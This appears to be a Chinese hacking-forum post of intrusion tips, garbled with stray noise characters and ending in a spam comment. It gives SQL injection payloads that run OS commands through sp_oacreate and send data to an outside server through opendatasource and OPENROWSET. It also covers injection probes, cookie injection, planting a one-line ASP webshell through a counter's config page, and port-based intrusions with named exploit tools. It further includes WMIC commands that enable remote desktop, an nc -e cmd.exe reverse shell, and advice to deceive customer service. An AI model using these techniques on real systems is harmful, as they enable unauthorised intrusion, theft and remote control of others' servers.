站库分离的方法

admin

SA点数据库分离技术相关
; _( ~) n- n* V2 R5 F- p

) w" G" f5 T5 Q4 G. {SA点数据库分离搞法+语句:
( u. O1 X3 `# O; k
* l7 m  M7 u$ c+ C注射点不显错,执行下面三条语句页面都返回正常。
& W, P7 D+ L2 j" O; h; L( Q2 tand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
. \5 z% `6 g' l' @0 z5 gand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
' k( f+ p8 a! t# s4 c2 T" E. s- dand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
可以列目录，判断系统为2000，web与数据库分离
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。
在注射点上执行
& Z6 c( l) C5 U' u3 `+ L- Z+ f4 [. y/ Mdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
页面返回正常，通过上面这个命令执行telnet我一个外网肉鸡得1433端口，然后netstat/an没有得到IP
2 e! C* d8 R( }& O7 F2 w$ V还有我用NC监听得其他端口都没有得到IP。
) N2 s- s4 J0 g, _( t# A* s
通过注射点执行下面这两个命令页面都返回异常，在肉鸡上面同样也是没有得到IP。
: d6 h# X9 T/ t$ L! Y7 z/ `0 ]& Y'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
: s" ^7 C% c# X( `+ D7 b
; y2 F& Y8 s& M, @;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--

6 `6 R* x+ A' g! c- N9 H- v/ z现在就猜想是不是数据库是内网而且不能连外网。

" Q% s" q, C1 K9 y3 \+ L* N' O
! I2 W+ j" R$ yaccess导出txt文本代码
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
; H# K" v! J- u, P8 Z9 F0 y

+ p" \4 b% f8 H. S4 e- D
: r9 H9 J1 [0 _1 P自动跳转到指定网站代码头
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>
. k6 Y9 T# T: ]8 X4 I
- g; Q3 H" Y; U9 l! K
8 b- `! b2 ?7 |0 Q$ a# `' e2 _入侵java or jsp站点时默认配置文件路径:
& E/ J  _# R' u\web-inf\web.xml
tomcat下的配置文件位置:
\conf\server.xml            (前面加上tomcat路径)
5 i  m6 p2 ~  D: B4 f2 P\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
" H% ~6 d3 }$ E  N. L" o0 X& T
5 E9 m8 d' [& m0 n8 g6 ]: Q2 t
2 Q% J$ q( J' A8 H  H+ h8 t/ p) w3 j
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
-1%23
>
4 l" X& E* F/ `7 {, r5 M<
1'+or+'1'='1
, {7 n# v( Y4 J+ r8 Eid=8%bf
) i- y/ u; K/ s6 N
* I4 P6 x1 c* F全新注入点检测试法:
8 M8 A2 O! y# B4 ~0 {( S( `6 ~- p在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞;在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。

在URL的地址后面加上'%2B'，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2B'，返回的页面和1同;加上'2%2B'asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。

搜索型注入判断方法:
北京%' and '1'='1' and '%'='
5 i4 W; L& o- v. \北京%' and '1'='2' and '%'='
/ F# s% N8 L% E9 h* {3 D( W1 W
' L, g% d: X* N0 B2 _9 a2 d! f* A
) w/ L# S0 v% F: m* ^COOKIES注入:
" Z6 t: s2 e. U0 ]
javascript:alert(document.cookie="id="+escape("51 and 1=1"));
+ c/ ]1 p8 B2 s4 c; O( w
2000专业版查看本地登录用户命令:
% a6 c# U( i; S& b# a5 inet config workstation

. J; ^& T( @# m% D/ G5 P
- M' g& ]9 U4 g( ]/ i! N4 M2003下查看ipsec配置和默认防火墙配置命令:
; l+ B+ r0 z' K1 fnetsh firewall show config
" g* N7 b% G# l6 W  y  W- P  bnetsh ipsec static show all

3 t) S7 j9 _. [  Z不指派指定策略命令:
netsh ipsec static set policy name=test assign=n  (test是不指派的策略名)
netsh ipsec static show policy all  显示策略名
  z9 ^- O# {5 b* }  P  o, I
8 U' Z6 E* i% Z" H2 ?
猜管理员后台小技巧:
admin/left.asp
' E2 y+ I6 K& @+ @- c+ |admin/main.asp
admin/top.asp
; L- g( A/ g# U* \# p/ tadmin/admin.asp
' j( m& B# b1 ~! \- r会现出菜单导航,然后迅雷下载全部链接
1 M9 o! g* |" P: P3 D9 |- `0 H2 p

社会工程学:
0 E1 S! ]# J$ U& V6 j用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
9 b3 C5 Q: K5 v然后去骗客服
  P. ?- P( V7 _7 p2 h; o

统计系统使用的是IT学习者的统计系统，在网上下载了一套回来研究。这样的系统拿webshell一般就二种：1.数据库插一句话木马，客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录，发现数据库扩展名是asp的，默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb，用明小子的数据库工具打开，发现有防下载的表。管理员的默认密码是：ITlearner。数据库插一句话木马这条路是走不通了，现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码：
查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">，
　　存为html文件打开后在最后详细来访信息记录多少条记录，默认为100条框输入100:eval request(chr(35))，点击保存。提示无法找到，结果发现。
! \2 I: j1 K4 i0 R! ~6 q+ m) m1 d
, l7 `" c1 ~) V; W7 P

4 |% }3 E) i7 [" o0 l* R: Q, K: A; V6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）



CMD加密注册表位置
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
AutoRun

" w' h2 P" S9 k$ i(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
7 R9 s( b! }' o0 {& oAutoRun
! F+ a; S7 E' u( S  F9 k0 T

在找注入时搜索Hidden,把他改成test
( K% d7 O/ w3 C; l3 C
( y$ {1 u$ o3 k$ Z, A, p8 d( @8 q

* [# {& [7 Z6 e7 [' zmstsc /v:IP /console


一句话开3389:

. y$ A3 V4 d" k! n3 [2 q: k最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  
开远程：WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.


& p% y' [* X2 v5 n, o, K, w" M% B知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
  z/ D% d: S- ~- P4 S% d) _& R% gInsert into admin(user,pwd) values('test','test')

; H5 F8 S' r2 j5 H9 F  H) |
, C' ?( }( _& HNC反弹
先在本机执行：　　　　　nc -vv -lp 监听的端口     (自己执行)   
+ R( t+ c+ g- {0 N; i3 ]4 Q' b然后在服务器上执行：　 nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)


在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
# A/ M# r7 V2 ~7 r* m4 x* T6 R, f
有时候我们入侵的时候，在webshell没有办法列举网站的目录包括dir也不行的时候，这个时候可以尝试用DOS命令SUBST转移目录
例如:
subst k: d:\www\ 用d盘www目录替代k盘
subst k: /d  解除K盘代替

We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta